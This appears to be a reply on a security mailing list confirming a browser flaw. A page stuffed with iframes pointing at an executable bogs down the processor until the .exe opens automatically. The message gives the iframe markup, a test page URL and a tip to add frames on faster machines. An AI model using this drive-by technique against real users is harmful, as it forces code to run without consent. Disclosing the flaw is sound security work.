Marek, Further to my confirmation of seeing this in the past as detailed below, I am today delighted to inform you that I can reconfirm that it functions precisely as you describe: 1. Definitely processor related as after 10 minutes of bogging down the machine, BANG ! it automatically opened the .exe 2. Thereon after, all following .exe's are also automatically opened Tested on the following page which is nothing more than a sh!tload of: <iframe src="fooware.exe">'s Harmless .exe http://www.malware.com/forceframe.html Note: may of course be different on other machines [i.e. processor power...increase amount of frame 'suppose] Well Done ! It's a beauty ! ====== I had sent this to bugtraq when you initially posted it, confirming having seen it in the past as well. Will try your html file and see if can get it up and running again.
